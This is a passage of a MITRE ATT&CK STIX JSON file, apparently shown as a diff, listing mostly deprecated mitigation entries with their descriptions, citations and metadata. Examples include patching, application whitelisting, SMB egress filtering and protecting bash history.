Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725", + "modified": "2019-07-24T19:25:39.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploitation for Privilege Escalation Mitigation", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.", + "external_references": [ + { + "external_id": "T1068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1068" + }, + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "source_name": "Wikipedia Control Flow Integrity", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502", + "modified": "2019-07-24T19:26:18.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploitation of Remote Services Mitigation", + "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", + "external_references": [ + { + "external_id": "T1210", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1210" + }, + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "source_name": "Wikipedia Control Flow Integrity", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62", + "modified": "2019-07-24T19:26:53.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "External Remote Services Mitigation", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "external_references": [ + { + "external_id": "T1133", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1133" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "modified": "2019-07-24T19:27:15.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Extra Window Memory Injection Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1181", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1181" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", + "modified": "2019-07-24T19:27:47.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Fallback Channels Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1008" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514", + "modified": "2019-07-24T19:28:35.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "File Deletion Mitigation", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1107", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1107" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d", + "modified": "2019-07-24T19:29:02.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "File Permissions Modification Mitigation", + "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "external_references": [ + { + "external_id": "T1222", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1222" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a222db25-cafb-44b1-a64a-20eab050514c", + "modified": "2019-07-24T19:29:26.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "File System Logical Offsets Mitigation", + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1006" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da", + "modified": "2019-07-24T19:30:10.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "File System Permissions Weakness Mitigation", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "external_references": [ + { + "external_id": "T1044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1044" + }, + { + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Powersploit", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "source_name": "Seclists Kanthak 7zip Installer", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090", + "modified": "2019-07-24T19:30:41.160Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "File and Directory Discovery Mitigation", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1083" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "modified": "2019-07-24T19:31:10.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Filter Network Traffic", + "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", + "external_references": [ + { + "external_id": "M1037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1037" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:33:55.337Z", + "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.418Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "type": "course-of-action", + "name": "Firmware Corruption Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1495", + "url": "https://attack.mitre.org/mitigations/T1495" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-26T19:30:33.607Z", + "id": "course-of-action--70886857-0f19-4caa-b081-548354a8a994", + "modified": "2019-07-24T19:31:37.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Forced Authentication Mitigation", + "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "external_references": [ + { + "external_id": "T1187", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1187" + }, + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "source_name": "US-CERT APT Energy Oct 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", + "modified": "2019-07-24T19:32:11.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Gatekeeper Bypass Mitigation", + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "external_references": [ + { + "external_id": "T1144", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1144" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "modified": "2019-07-24T19:32:43.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Graphical User Interface Mitigation", + "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1061" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "modified": "2019-07-24T19:33:33.881Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Group Policy Modification Mitigation", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).\n\nConsider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1484", + "url": "https://attack.mitre.org/mitigations/T1484" + }, + { + "source_name": "GitHub Bloodhound", + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Microsoft WMI Filters", + "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", + "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/" + }, + { + "source_name": "Microsoft GPO Security Filtering", + "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T16:57:19.391Z", + "id": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", + "modified": "2019-07-24T19:34:09.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "HISTCONTROL Mitigation", + "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "external_references": [ + { + "external_id": "T1148", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1148" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", + "modified": "2019-07-24T19:34:34.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hardware Additions Mitigation", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", + "external_references": [ + { + "external_id": "T1200", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1200" + }, + 